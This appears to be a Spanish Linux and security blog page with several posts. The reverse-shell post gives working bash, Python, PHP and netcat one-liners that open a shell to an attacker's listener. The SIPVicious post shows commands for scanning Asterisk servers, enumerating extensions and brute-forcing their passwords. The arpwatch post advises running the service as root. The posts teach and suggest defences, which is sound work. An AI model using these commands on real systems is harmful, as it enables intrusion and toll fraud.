Información blog

Linux, tutoriales, noticias, sistemas, redes y seguridad informática, entre otras cosas.

Mostrando entradas con la etiqueta Networking. Mostrar todas las entradas
Mostrando entradas con la etiqueta Networking. Mostrar todas las entradas

martes, 12 de noviembre de 2019

Cómo evitar problemas en el arranque de arpwatch en Ubuntu en 16.04

Arpwatch es un servicio de Linux que puede dar muchos problemas en el arranque; especialmente cuando se trabajan con múltiples interfaces de red, pues es bastante exigente para comenzar en el proceso de arranque.  Generalmente a muchos nos les importa, ya que con arrancar el servicio a mano después el problema se solventa; pero en ocasiones queremos que el equipo arranque automáticamente dicho servicio; especialmente en servidores que queremos que funcionen de forma "autonoma" y que sean susceptibles de reinicios inesperados.

arpwatch_portada

Es por ello que siempre es interesante saber cómo hacer que el servicio arranque de forma automática. Cosa que afortunadamente es sencillo, ya que arpwatch se enfrenta solamente a dos obstaculos para arrancar correctamente.

El primero es que al tener dos interfaces de red, con sus respectivas puertas de enlace, al servicio "networking" no le gustan las puertas de enlace estandard, sino que requieren de una métrica. Esto se solventa modificando el fichero /etc/network/interfaces y realizando el siguiente cambio; poniendo como ejemplo las puerta de enlace 192.168.1.1 y 172.16.1.1

Antes:
iface eth0 inet static
address 192.168.1.2
netmask 255.255.255.0
network 192.168.1.0
broadcast 192.168.1.255
gateway 192.168.1.1

iface eth1 inet static
address 172.16.1.2
netmask 255.255.0.0
network 172.16.0.0
broadcast 172.16.255.255
gateway 172.16.1.1

Despues:
iface eth0 inet static
address 192.168.1.2
netmask 255.255.255.0
network 192.168.1.0
broadcast 192.168.1.255
post-up route add default gw 192.168.1.1
pre-down route del default gw 192.168.1.1

iface eth1 inet static
address 172.16.1.2
netmask 255.255.0.0
network 172.16.0.0
broadcast 172.16.255.255
post-up route add default gw 172.16.1.1
pre-down route del default gw 172.16.1.1

Con esta parte solventada, sería necesario forzar la ejecución de arpwatch como root, ya que como arpwatch no permite hacerlo bien durante el arranque. Para ello editaremos el fichero /etc/default/arpwatch; dentro del cual veremos una línea llamada RUNAS; la cual tendrá como valor arpwatch... Esto significa que el servicio sería ejecutado por el usuario arpwatch, pero al sistema no es algo que le guste, al menos durante el arranque, ya que el servicio en sí no arrancaría  correctamente por defecto y requeriría reiniciarlo para que funcione. Para que funcione durante el arranque, habría que hacer que el servicio sea ejecutado como root, con lo que sería necesario realizar el siguiente cambio:

Antes:
RUNAS="arpwatch"

Despues:
RUNAS="root"

Con estas pequeñas modificaciones, tras nuestro próximo reinicio, nuestro servicio arpwatch funcionaría adecuadamente, evitando así problemas con dicho servicio en caso de que el equipo fuese reiniciado de forma no controlada.

Espero que os haya resultado útil.

Saludos.

martes, 29 de octubre de 2019

Cómo realizar pruebas de carga en nuestro servidor Web

Una de las labores más importantes a la hora de montar un servidor web, es la dimensionarlo correctamente para poder realizar sus labores de forma efectiva. Generalmente a la hora de realizar el dimensionamiento se suele tender a optimizar el servidor lo máximo posible, con los recursos disponibles, para poder soportar el máximo de conexiones posibles, pero aun así, siempre es importante intentar forzar dicho servidor por encima de su capacidad máxima con el fin de ver cómo reacciona... Esto puede ser una labor sencilla si el servidor soporta muy pocas conexiones, pero y si soportase 1000 conexiones simultáneas o más? Afortunadamente existen herramientas especializadas de Linux que nos pueden ayudar a realizar testear nuestro servidor web... Entre ellas hay dos especialmente conocidas: Apache Benchmark  y JMeter.

portada_pruebas_carga

Apache Benchmark

Si bien esta utilidad se puede considerar bastante inferior a JMeter, se trata de una utilidad que tiene la ventaja de que te permite realizar pruebas rápidas desde la consola sin tener la necesidad de tener una interfaz gráfica, cosa que evita el obligarnos a depender de un entorno de escritorio para poder utilizarla. La herramienta en sí es muy fácil de instalar, ya que es parte del conjunto de utilidades estándares de Apache2, llamada apache2-utils, con lo que lo podemos instalar de los repositorios tal que así:

apt-get install apache2-utils

Con esto instalado, podemos hacer pruebas de carga de forma muy rápida mediante el comando ab; donde la sintaxis sería:

ab -c concurrencias -n numero_de_peticiones -r URL

El parámetro -r sería importante, ya que evitaría que el comando se interrumpiese aún cuando hubiese algún error... Además es importante resaltar que la URL tiene que apuntar siempre a un fichero web... Por ejemplo si tenemos un servidor web con IP 127.0.0.1, no valdría con poner dicha IP como URL sino que habría que poner http://127.0.0.1/index.html pues en caso contrario Apache Benchmark pensaría que la URL es errónea.

En caso de querer hacer 1000 peticiones con 20 concurrencias a la URL atrás mencionada, haríamos:

ab -c 20 -n 1000 -r http://127.0.0.1/index.html

Esto nos daría como resultado una serie de líneas, entre las cuales se resaltarían las últimas donde se muestran el porcentaje de paquetes que ha tardado X milisegundos en tener respuesta:

prueba_carga_ab
Resultado prueba carga Apache Benchmark

Lo malo que tiene esta herramienta, es que carece de opciones de personalización a la hora de realizar las pruebas de carga; es decir, no puedes decir si las peticiones se van a hacer de forma controlada, o como un ataque DOS... Simplemente las realiza lo más rápido que puede y listo... Lo cual viene por un lado bien para saber cómo se comporta bajo cierta presión, pero que no emula entornos realistas. Es por eso que esta herramienta tienes sus pros y sus contras y es ahí donde JMeter marca la diferencia, ya que dicha herramienta sí que tiene un mayor abanico de opciones.

Apache JMeter

En este caso para poder siquiera instalar la aplicación es 100% necesario tener instalado un entorno de escritorio, pues instalar elementos gráficos. El entorno de escritorio en sí es indiferente, puede ser XFCE, KDE, Gnome... Al gusto de cada uno... Cumpliendo dicho requisito habría que escribir en la consola:

apt-get install jmeter

Esto preparará todo lo necesario para que Jmeter sea utilizable, si bien Jmeter tiene una peculiaridad. La configuración de los diferentes parámetros y planes de pruebas se realizan desde de la GUI, pero la ejecución del plan de pruebas es extremadamente recomendable hacerlo desde la consola; recomendación que es dada por los propios desarrolladores de la utilidad.

Con lo que teniendo esto claro, primero abriríamos la aplicación desde la GUI, aplicación que, desgraciadamente, al ser tan completa, puede ser algo intimidante inicialmente.

El primer paso que habría que ejecutar sería la creación de un Grupo de Hilos; dicho paso es vital pues marca el número de peticiones simultáneas que se harían, el intervalo entre éstos y el número de veces que se lanzarían peticiones (pudiendo ser infinito); las capturas de a continuación serían realizadas desde un Ubuntu 18.04, capturas en las que, en este caso mostraríamos 100 peticiones simultáneas realizadas cada segundo continuamente :

nuevo_grupo_hilos
Nuevo grupo hilos

configuracion_grupo_hilos
Configuración grupo hilos

Con esto tendríamos las peticiones preparadas; lo que habría que especificar sería qué peticiones se desean realizar... Aquí tenemos diferentes opciones, pero la más común y usada sería una petición HTTP; petición en la que únicamente sería necesario especificar que sería del tipo GET y la IP y puerto de destino de dichas peticiones; habría una serie de parámetros adicionales, pero todos ellos serían completamente optativos:

nueva_peticion_http
Petición HTTP


opciones_peticion_http
Opciones petición HTTP

Por último pero no por ello menos importante, tendríamos que crear un reporte de resumen, el cual nos servirá para conocer los resultados de nuestras pruebas. El cual se encontraría dentro de: Añadir --> Receptor --> Reporte Resumen.  El resumen se puede ver en texto plano desde la propia consola, pero desde la herramienta tendríamos el resultado mostrado de forma sintetizada, lo cual nos es ventajoso.

Ahora que tenemos todo preparado, guardaríamos el proyecto, el cual siempre es guardado en formato .jmx, por ejemplo plan_de_pruebas.jmx. Solamente sería necesario ejecutar dicho plan, ejecución que aunque se puede hacer desde la GUI, tal y como he comentado antes es recomendable hacerlo desde la consola. El comando para ejecutarlo sería:

jmeter -n -t plan_de_pruebas.jmx -l Resumen.jtl

El parámetro -l seguido del fichero jtl sería importante, pues estaríamos especificando donde guardar los resultados de las pruebas realizadas; pruebas que siempre se guardan en ficheros en formato .jtl, si bien se puede leer de forma "normal" haciendo un simple cat sobre dicho fichero.

Gracias a dicho comando estaríamos ejecutando el plan de pruebas, que se estaría ejecutando de forma continua a menos que se pulsase la combinación de teclas CTRL + C, debido a que se trata de una prueba infinita. Esto estaría haciendo una prueba de carga "infinita" sobre el servidor de destino, prueba sobre la que tendríamos más control que mediante Apache Benchmark.

El informe de salida lo podríamos leer dirigiéndonos al `Reporte resumen` antes creado y clickando en navegar para seleccionar el informe generado por nuestras pruebas; en nuestro caso Resumen.jtl... A continuación una pequeña muestra de dicho informe:

reporte_resumen
Informe Jmeter


Como se puede observar, la aplicación JMeter ofrece una amplia gama de posibilidades; estas son solo algunas de ellas, pero las mostradas serían las más "comunes" y usadas. Eso no implica que Apache Benchmark no sea útil; cada una ofrece una serie de características, la cuestión está en saber qué aplicación se adapta mejora nuestras necesidades, al igual que también no siempre se puede contar con una interfaz gráfica, y ahí es donde JMeter flaquea, pues dicho entorno es un requisito para la propia instalación.

Espero que os haya resultado útil.

Saludos.

martes, 15 de octubre de 2019

Reverse shell, una curiosa y al mismo tiempo peligrosa técnica

Recientemente, navegando por Internet y curioseando un poco de todo, me he encontrado con una técnica que, si bien no es en absoluto reciente, sí que me parece muy curiosa de compartir. Una técnica que si bien es generalmente usada por atacantes maliciosos (generalmente en rootkits), conceptualmente me parece una técnica muy interesante, pues como con todo, se le puede sacar partido para bien; solo es cuestión de verlo desde la perspectiva de los buenos. Se trata de la creación de shells remotos, cuya técnica se llamada Reverse Shell

reverse_shell

Como su propio nombre indica, la técnica se basa en la creación de una shell remota usando como base la propia shell que se está ejecutando en estos momentos. Esto puede ser útil en equipos a los que queremos tener acceso remoto y no se pueda utilizar SSH, es cierto que es sin lugar a dudas una técnica peligrosa, y que lo ideal es usar SSH como todo el mundo,pero el hecho de saber que la técnica está allí puede resultar interesante; ya sea para nuestro propio uso o para ser conscientes de que existe dicha posibilidad. 

Para éste método se usan dos máquinas; una "atacante" que sería la que ejecutaría la shell remota, y una "victima", que sería el equipo cuya shell remota deseamos obtener. En el equipo atacante el único requisito sería tener instalada la herramienta netcat. En el de la "victima" en cambio no sería 100% necesario, pues habría diferentes métodos para realizar la shell remota; hay que tener en cuenta que conceptualmente lo que haríamos sería ponernos con netcat a "escuchar" en un puerto y desde la otra máquina, intentaríamos mediante diferentes métodos establecer una conexión con el puerto del atacante para darle el control de nuestra shell en cuestión.

Hay distintos métodos para conectarnos con la otra máquina, uno por cada "lenguaje" mediante el que queramos comunicarnos con la otra máquina. Es importante tener en cuenta que todos los métodos requieren que haya un cierto software instalado, y que en caso de no estar instalado, no se podría utilizar dicho método de comunicación.

Primero de todo pongámonos a escuchar desde la máquina "atacante"; es tan sencillo como hacer:

nc -lvp PUERTO

Siempre es recomendable "escuchar" en puertos altos, ya que así sabremos que dicho puerto no está en uso; un ejemplo genérico podría ser:

nc -lvp 10000

Con esto ya estaríamos escuchando; esta acción solamente indicaría que nosotros estamos esperando en dicho puerto a que alguien establezca una conexión contra el susodicho; es en el equipo cuya shell queremos "copiar", donde ejecutaríamos las conexiones. A partir de ahora, pensaremos que las conexiones se realizarán contra la IP 192.168.1.112. La conexión más estándar que funciona en casi todas las máquinas Linux, sería mediante bash, ya que es prácticamente estándar en todas.:

Bash:

Lo bueno que tiene realizar está técnica es que es relativamente fácil de recordar, ya que es un simple bash -i > seguido del tipo de conexión que sería /dev/tcp/ y despues la IP del objetivo seguido de /puerto; los últimos parámetros solamente son para re-dirigir cualquier cualquier mensaje de salida a la consola.

bash -i >& /dev/tcp/192.168.1.112/10000 0>&1

Python:

Otro método con el que puedes realizar un reverse shell es mediante python, ya que va instalado en prácticamente todos los equipos Linux, pero tiene como pega que la sintaxis sería más complicada que en el ejemplo anterior, ya que la conexión se realizaría mediante una porción de código de python:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.112",10000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

El lenguaje que uno puede usar para esto puede ser cualquiera; en este caso se ha usado Python porque es el que más probabilidades tiene de estar instalado en la máquina remota, pero otros lenguajes tales como Perl (relativamente común), o cualquier otro, desde C++ hasta incluso con C#.

PHP:

Si bien he dicho que se puede hacer un reverse shell con cualquier lenguaje, creo que es conveniente destacar PHP, ya que también lo permite aunque cueste creerlo. Aún siendo un lenguaje para servidores web, nos permite realizar un reverse shell:

php -r '$sock=fsockopen("192.168.1.112",10000);exec("/bin/bash -i <&3 >&3 2>&3");'

Netcat:

Por último, es interesante saber que también se puede hacer un reverse shell en el objetivo mediante netcat, al igual que hemos puesto netcat escuchando en el "atacante", podemos conectarnos con el otro lado usando la misma herramienta; la única pega que tiene es que requiere estar instalada, cosa que no siempre es así.

nc -e /bin/bash 192.168.1.112 10000

Existen otras herramientas, como ShellReverse, que son algo más completas debido a que son herramientas que agrupan diferentes lenguajes, pero en este caso he preferido mostrar a nivel conceptual las posibilidades que tenemos para hacer el reversing y el concepto que hay detrás, más allá de usar una herramienta y listo.

Lo importante es que si lo conseguimos, tendremos una terminal de shell remota que será una réplica exacta de la shell desde la que se ha ejecutado el comando, incluyendo el usuario que ha ejecutado el comando y sus permisos, lo que hace que si por ejemplo se ejecuta una reverse shell como root, el equipo atacante tendrá una terminal de root, lo que confiere control total sobre el sistema, para bien y para mal.

En caso de haberse usado de forma voluntaria por el propio usuario, tendremos nuestro objetivo conseguido, pero en caso contrario tendremos un usuario no grato controlando remotamente nuestro equipo...

Se puede prevenir?

Visto esto, podemos deducir que aunque el recurso en parte puede ser valioso para según que casos; también tenemos la pega de que el método es una vía que puede brindar acceso a gente no grata; acceso que en caso de haberse realizado como usuario root, significaría nuestro fin...

Desgraciadamente para este caso concreto no hay una forma efectiva de blindarnos... Cualquier cortafuegos que intentemos poner para nuestras conexiones salientes puede limitar nuestro sistema. Supongamos que bloqueamos las conexiones salientes... Bloqueamos todas? Bloqueamos las conexiones con estado "new"? No es factible... En caso de querer bloquear puertos... Cuales bloquear? Por mucho que se bloqueen varios puertos, siempre tiene que haber alguno abierto, y dicho puerto se puede usar para realizar el reverse.

La única solución posible es intentar tener el sistema actualizado, no abrir correos sospechosos (en caso de sistemas de escritorio) y sobre todo, intentar siempre que se pueda, instalar los paquetes desde los repositorios oficiales vía APT... Es cierto que los repositorios no tienen todo, pero en un gran número de casos cumplen su función sin tener que recurrir a páginas de terceros... Es cierto que como siempre digo la seguridad absoluta no existe y que a veces aún cuando se toman todas estas medidas de seguridad pueden no servir... Un simple USB o un descuido puede hacer que esto ocurra, pero nunca está de más intentar, al menos, no poner las cosas fáciles a aquellos que nos quieren atacar.

Espero que os haya resultado útil.

Saludos.

lunes, 7 de octubre de 2019

Auditar nuestra centralita Asterisk con SIPVicious

Siempre que se piensa en el concepto de la seguridad, se parte del concepto: Mínima superficie de exposición, mínimo privilegio posible. Concepto que si bien es importante, no implica que un servicio sea inexpugnable, pues si bien siempre se intenta que un servicio no sea accesible desde lugares indeseados, hay ciertos servicios tales como páginas web o centralitas de Asterisk, que tienen que tener cierta flexibilidad. Esa flexibilidad nos ofrece ciertas ventajas, pero al mismo tiempo pueden ser posibles objetivos de ataques no deseados... Ataques que siempre conviene tener en cuenta.

sipvicious

Es por ello que hay algunas herramientas que nos pueden ayudar a realizar auditorías sobre nuestras centralitas de Asterisk, y que pueden servirnos para "poner a prueba" nuestro sistema; ya que nos ayuda a prevenirnos de ataques reales que pueden ser muy dañinos. Supongamos que alguien se hace con el control de una extensión telefónica capaz de hacer llamadas internacionales; en muy poco tiempo el coste económico de la medida sería brutal. Es por ello que mediante estas herramientas podemos hacernos una idea de las fortalezas y debilidades de nuestra PBX. Hay múltiples herramientas, pero la más popular sería SIPVicious.

SIP Vicious es una herramienta de software libre muy extendida que incluso está incluida hoy en día dentro de la archi-conocida distribución Kali. Para poder utilizarla, esta utilidad usa por defecto el puerto 5060 para escuchar los mensajes de respuesta, a menos que esté en uso por nuestro propio Asterisk u otro servicio, en cuyo caso usaría el siguiente puerto que esté libre (5061,5062...); con lo que es importante tener esos puertos abiertos en el equipo atacante si queremos poder recibir los mensajes de respuesta.

La utilización es muy sencilla, y solamente requiere tener python instalado (el cual ya viene pre-instalado la gran mayoría de las veces) y si caso la herramienta git, si bien no es necesario al 100%, nunca viene mal tenerla instalada. En caso de no utilizar git, sí que sería necesario descargarnos la herramienta zip.

Para descargar la aplicación, siempre y cuando no se use Kali que ya la incluye por defecto, la cual se encuentra Github, se puede hacer desde la consola de dos formas; o bajando el fichero comprimido o vía git:

Vía git:
git clone https://github.com/EnableSecurity/sipvicious.git

Vía directa:
wget https://github.com/EnableSecurity/sipvicious/archive/master.zip
unzip master.zip

Cualquiera de estos procedimientos dará como resultado una carpeta que puede llamarse sipvicious en caso de usar git, o sipvicious-master, pero independientemente del nombre ambos tienen el mismo contenido, dentro del cual el que nos interesa es el que se encuentra dentro de la subcarpeta sipvicous. Dicha carpeta tiene diferentes programas escritos en python, dentro de los cuales, 3 serían los que principalmente nos interesarían: svmap.py svwar.py y svcrack.py.

La primera herramienta, svmap.py, sería la que usaríamos para escanear un rango de IPs a nuestra elección, junto con sus respectivos puertos con el fin de ver si se encuentra alguna que dé como respuesta alguna PBX, como por ejemplo Asterisk. Dicho escaneo usaría la sintaxis:

svmap.py -p puerto_inicio-puerto_fin IP_inicio-IP_fin -m opciones

El puerto sería opcional, y se podría poner un puerto únicamente si se desea; en caso de no usar ninguno, se usaría el puerto standard SIP, 5060. Con respecto a la IP que se desea escanear, se puede poner  una sola o un rango de IPs, dependiendo de nuestras necesidades. En caso de querer testear solamente nuestro equipo, solamente con una IP sería suficiente...

En el apartado opciones, es opcional usarlo, pero una opción muy común sería la de INVITE, ya que es mensaje que se envía a una PBX cuando un usuario se desea registrar. Un comando de ejemplo podría ser:

./svmap.py -p 5060 192.168.1.102 -m INVITE

Esto nos puede dar como resultado o bien un resultado nulo, que sería lo deseable, o bien que nos dé información de la PBX, incluyendo la versión que usa el equipo contrario. Por ejemplo, usando dicho comando contra mi Asterisk, me ha dado como resultado:

svmap_ejemplo

En caso de que se muestre este mensaje en nuestra centralita, lo ideal sería intentar ocultarlo lo antes posible, pues esto nos brinda dos datos a nuestro atacante. El primero es que el puerto 5060 tiene un Asterisk asociado, lo cual es susceptible a ataques, pero no solo eso, sino que además nos brinda la versión de éste, que puede ser más peligroso aún, ya que si uno conoce la versión de software que uno usa, puede buscar vulnerabilidades asociadas a dicha versión, que puede hacer innecesario el utilizar ataques de fuerza bruta contra la centralita.

Supongamos que hemos recibido el mensaje anterior, lo que pasaríamos a hacer ahora sería a intentar ver qué extensiones están "disponibles" en nuestro objetivo. Esto lo lograríamos mediante la segunda utilidad: svwar.py

La utilidad svwar, es una utilidad muy simple que se dedica a mandar peticiones de registro contra la centralita objetivo. Si la PBX devuelve un mensaje "No matching peer found" o no respondiese, consideraría que no hay una extensión asociada, pero en caso de que considerase que la contraseña introducida para el registro, no es correcta, interpretaría que SÍ que hay una extensión, extensión contra la que se podría intentar hacer un ataque de fuerza bruta. La sintaxis es extremadamente simple en este caso:

svwar.py -e extension_inicio-extension_fin IP

Teniendo en cuenta que las extensiones, generalmente son de entre 3 y 4 dígitos, un ejemplo contra la PBX que tengo de pruebas podría ser:

./svwar.py -e000-9999 192.168.1.102

Hay que tener en cuenta que a mayor el rango de extensiones, mayor el tiempo invertido. A modo de curiosidad, si tenemos una sesión de consola de Asterisk abierta en la máquina objetivo (el clásico asterisk -rvvvv), veremos un sin fin de mensajes parecidos a este; un mensaje por cada extensión no existente:

svwar_ejemplo1

Al acabar el barrido, en caso de que alguna extensión le haya respondido a la herramienta, tendremos un resultado parecido al siguiente:

svwar_ejemplo2

Ya sabemos todo lo que necesitábamos saber; sabemos que la IP 192.168.1.102, tiene un Asterisk montado en el puerto 5060 y además sabemos que hay una extensión 1001, configurada en dicha centralita. Solo queda usar la tercera herramienta mencionada antes, svcrack.py para intentar obtener, si se puede, la contraseña.

Los ataques aquí se pueden hacer de dos formas, o bien a fuerza bruta mediante dígitos, o bien vía diccionario. En caso de hacerlo mediante fuerza bruta, lo que se haría sería probar diferentes combinaciones numéricas hasta acertar con el número. En caso de que en cambio se optasen por un ataque de diccionario, se tendría que tener el diccionario, en formato txt y se recurriría a él para hacer el ataque; por ejemplo, para el ataque por fuerza bruta haríamos:

./svcrack.py -u 1001 -r 0000-9999 192.168.1.102

Donde después del -u se especificaría la extensión que se desea "atacar" y después del -r especificaríamos el rango de números a utilizar como contraseña. En este caso se ha usado una contraseña débil, y desgraciadamente bastante común; la cual ha tardado apenas unos segundos en descifrar la herramienta:

svcrack_ejemplo

Para el ataque de diccionario en cambio, en vez de usar el parámetro -r, usaríamos el parámetro -d, seguido del diccionario que querríamos usar.

svcrack.py -u 1001 -d diccionario.txt 192.168.1.102

Mediante dicho método, el tiempo que tardaría en descifrar la contraseña variaría, pero en caso de usar contraseñas alfanuméricas, sería el único método posible.

COMO EVITARLO

Como siempre digo, la seguridad absoluta no existe, pero es cierto que al menos hay que intentar ponérselo difícil al atacante; es por ello que las dos primeras que hemos utilizado, para encontrar centralitas Asterisk, y para rastrear extensiones en la susodicha, se pueden evitar añadiendo una sola línea en el fichero /etc/asterisk/sip.conf:

alwaysauthreject=yes

Dicho parámetro en Asterisk 16 ya está habilitado por defecto (sin tener que siquiera añadir nada al fichero de configuración), pero en la gran mayoría de versiones no es así, con lo que es ideal ponerlo a mano en el fichero con el fin de estar seguros.

Al establecer un valor yes a dicho parámetro, lo que haríamos sería denegar la la respuesta a las autenticaciones de usuarios incorrectos o inexistentes, cosa que se hace mediante las herramientas svmap y svwar... Puede parecer un detalle sin importancia pero mediante la combinación de dicha media, junto con el uso de un puerto SIP no estandard (a poder ser un número de puerto muy alto), nos quitaríamos de un barrido el 90% de los scripts automatizados que se dedican a hacer barridos y ataques automáticos a los puertos 5060.

Eso no implica que mediante esto hagamos inmune a nuestra centralita, pero sí que evitaremos dar información al atacante, lo que hará que éste no empiece a hacer ataques de fuerza bruta contra una extensión nuestra centralita SIP, a menos que haya obtenido la información por otros medios.

Para los ataques de fuerza bruta que se hagan contra la extensión, solamente se pueden dar dos recomendaciones; la primera muy sencilla de implementar, la segunda ya depende de los medios que uno disponga.

La primera medida sería la obvia, usar contraseñas seguras para nuestras extensiones. A poder ser largas y alfanuméricas; es más al usar contraseñas alfanuméricas.

La segunda medida sería, no compleja, pero sí requeriría un cierto esfuerzo por parte de uno, y sería el uso de utilidades tales como Fail2ban, que entre otras cosas pueden bloquear los intentos repetidos de conexión/autenticación contra un destino. Hay que tener en cuenta que los ataques de fuerza bruta o de diccionario realizan un número ingente de autenticaciones, con lo que si lo podemos evitar mediante dicha herramienta podremos, dificultarle en gran medida el ataque a nuestro agresor.


Espero que os haya resultado útil, y que podáis sacarle partido a esta utilidad que puede ayudarnos a ver en si nuestra centralita esta debidamente protegida o no.

Saludos.



martes, 1 de octubre de 2019

Nftables, el sucesor de iptables

La tecnología evoluciona constantemente, a veces a costa de imposiciones de ciertos criterios, y otros a costa de comparar los pros y los contras. Iptables ha sido siempre el principal referente en el área de firewalls para Linux; es cierto que a raíz de ahí nacieron herramientas intuitivas que intentaban hacer un uso más fácil de éste, pero generalmente se usaba dicha tecnología como referencia. Obviamente, con el paso del tiempo, se han ido optando por diferentes alternativas, pero siempre intentando mantener iptables ahí, pero con la introducción de "Debian 10 (Buster)" y las últimas versiones de Red Hat, se ha ido imponiendo su sucesor, considerando al veterano firewall como obsoleto. Hablamos de nftables.

nftables_portada

Nftables es un software creado por netfilter que podría considerarse como la evolución natural de nftables, que ha intentado adaptar la sintaxis a los nuevos tiempos, con el fin de que la escritura de las reglas de este software sea algo más intuitiva que la de su predecesor.

La dinámica que utilizar este software es bastante parecida a la de iptables, en el sentido de que tal y como ocurre con su predecesor,  nftables se divide por tablas, las cuales tienen dentro cadenas, dentro de las cuales se añaden las reglas. En caso de haber usado iptables con anterioridad dichos conceptos os serán familiares, en caso contrario es importante tenerlos claros antes de continuar, ya que en caso contrario el entendimiento de la herramienta será muy difícil. Además es importante saber que las reglas de nftables se pueden definir o bien directamente en consola o bien mediante un fichero de configuración.


TABLAS

Las tablas están compuesta por una o varias cadenas; en iptables éstas seguían una lógica, ya que se agrupaban en cadenas de tipo filter, nat y mangle; en nftables podemos hacer que nuestras tablas tengan las cadenas que queramos, pero lo ideal, en términos de gestión es que sigan una lógica parecida, aunque no es obligatorio. En resumen, una tabla no es más que una o a varias cadenas agrupadas bajo un nombre común desde el cual se hacer referencia a éstas.  Las tablas pueden tener el nombre que queramos, pero es importante tener en cuenta que éstas pertenecen a diferentes familias, y que dependiendo del tipo, se tendrán en cuenta un tipo de paquete de red u otro:
  • ip: La familia por defecto, en caso de que no le digamos nosotros otra cosa. Éste solamente tendrá en cuenta los paquetes de red IPv4.
  • ip6: Como su propio nombre indica, tendrá en cuenta los paquetes IPv6.
  • inet: Una familia híbrida que contemplará ambos protocolos de IP, y que, dependiendo de a lo que hagamos referencia, tendrá en cuenta un tipo de IP u otra, o ambas, Por ejemplo si se hace referencia a una IPv4, se aplicará la regla para los paquetes IPv4, pero si hacemos referencia solamente a un puerto (por ejemplo el 80), sin especificar una IP de origen o de destino, se tendrán en cuenta ambos protocolos. Esta familia no funciona en las cadenas NAT (de esto hablaremos más adelante), al menos de momento, debido al bug 1173, con lo en caso de querer usar cadenas de dicho tipo para paquetes IPv4 e IPv6, habría que crear 2 tablas separadas, una perteneciente a la familia ip y la otra a ip6.
  • arp: Esta familia solamente tendrá en cuenta el tráfico ARP.
  • bridge: Esta familia entraría en acción en las interfaces de tipo bridge, que hayan sido creadas en el sistema.
  • netdev: Aquí se tratará el paquete antes de que sea procesado por la interfaz de red. No se tiene en cuenta si es IPv4 ni IPv6; desde aquí se ve todo, y es útil para el bloqueo de ataques DOS o DDOS, ya que lo deniega antes de ser procesado, tomándole menos tiempo al sistema el desecharlo.

La primera vez que se instala nftables, crea una tabla llamada filter del tipo inet, pero es importante conocer cómo agregar nuevas tablas. 

Para ello, antes de empezar a hacer nada, es muy recomendable cargar todos sus módulos de nftables en el kernel, ya que en caso contrario nos podremos encontrar errores tales como 'Could not process rule: No such file or directory'. Para ello lo recomendado por los propios desarrolladores del proyecto, es crear el fichero /etc/modules-load.d/modules-nftables.conf e introducir el siguiente contenido para después reiniciar el equipo:

nf_conntrack
nf_conntrack_ipv4
nf_conntrack_ipv6
nf_defrag_ipv4
nf_defrag_ipv6
nf_nat
nf_nat_ipv4
nf_tables
nf_tables_inet
nf_tables_ipv4
nf_tables_ipv6
nfnetlink
nft_counter
nft_ct
nft_hash
nft_limit
nft_log
nft_meta
nft_rbtree
nft_reject
nft_reject_inet
nft_reject_ipv4
nft_reject_ipv6

Con todos los preparativos realizados, para crear una nueva tabla escribiremos la siguiente sintaxis:

nft add table 'familia' 'nombre'

Por ejemplo, para crear una tabla llamada "filter" que contemple los paquetes IPv4 e IPv6, haremos:

nft add table inet filter

Con ello ya tendríamos nuestra primera tabla creada, tabla que puede ser borrada o que cuyo contenido puede ser listado o borrado sustituyendo add por delete, list y flush, respectivamente.


CADENAS

Las cadenas son simples contenedores de reglas. A diferencia de en iptables, que ya había una serie de cadenas predefinidas, tales como INPUT, OUTPUT, en nftables no existe ninguna por defecto, sino que tienen que ser creadas. La creación de cualquier cadena tendría una sintaxis como la siguiente:

nft add chain 'familia' 'tabla' 'nombre_cadena' {type 'tipo' hook 'estado_del_paquete' priority 'prioridad'; policy 'politica';} 

Las familias y las tablas ya las conocemos, con respecto al tipo, tenemos cadenas de tres tipos:
  • filter: Este tipo de cadena se encarga del filtrado de paquetes.
  • route: Permite rutar los paquetes salientes
  • nat: Se utiliza para aplicar reglas de nateo de paquetes, es decir, para la conversión de IPs.

Por otro lado tenemos el estado del paquete, el cual viene 'heredado' de su predecesor, iptables, y que dependiendo del tipo que hayamos escogido, se podrá hacer referencia a un estado u otro del paquete. Los estado sería input, output, forward, prerouting y postrouting. Los tres primeros son intuitivos, mientras que prerouting se utilizaría para tratar una interfaz que está a punto de ser rutada  y postrouting se utilizaría para tratar la interfaz tras haber sido rutada.  

Obviamente no todos los tipos se pueden usar en todas las familia al igual que no todos los estados se pueden usar para todos los tipos, con lo que a continuación dejo una pequeña tabla que puede servirnos como guía orientativa que nos puede servir de ayuda en la creación de cadenas:

tabla_hooks_nft

Además, podemos definir la prioridad que tendrá la cadena con respecto al resto de la misma tabla. Aquella que tenga el número más bajo (pudiendo ser negativo), será aquella que se ejecutará antes.

Además podemos también definir, de forma opcional, la política que queremos que tenga la cadena por defecto, de entres las cuales las más comunes serían: accept o drop, es decir permitir o denegar. En caso de no definir ninguna política, nftables define automáticamente que la política será accept.

Con toda esta información en mano, podemos crear varias cadenas de prueba. Por ejemplo, siguiendo la lógica del ejemplo inicial, en el que hemos creado una tabla llamada filter, vamos a crear las 3 cadenas de filtrado básicas que ya venían predefinidas en iptables, las cuales se llamaban input, output y forward. Estas cadenas, para este ejemplo, estarán abiertas por defecto, es decir que serán 3 cadenas vacías que no harán nada por defecto; solo existir y que dejarán que las reglas definidas dentro de éstos sean los que dictaminen los comportamientos:

Para crear la cadena llamada input, que se encargará de contener las reglas de los paquetes entrantes, haremos:

nft add chain inet filter input { type filter hook input priority 0\; policy accept\; }

Para las cadenas output y forward haríamos lo equivalente:

Output:
nft add chain inet filter output { type filter hook output priority 0\; policy accept\; }

Forward:
nft add chain inet filter forward { type filter hook forward priority 0\; policy accept\; }


REGLAS

Finalmente con todos estos preparativos creados, podemos empezar a crear nuestras reglas. Dichas reglas siempre tendrán que ir dentro de una cadena perteneciente a una tabla; de ahí todos los preparativos realizados hasta ahora.  Dichas reglas, pueden parecer algo abrumadoras al principio por las gran cantidad de posibilidades que ofrecen, pero a su favor hay que decir que son bastante intuitivas. La creación de reglas sigue esta sintaxis

nft add rule 'familia' 'tabla' 'cadena' 'expresión'

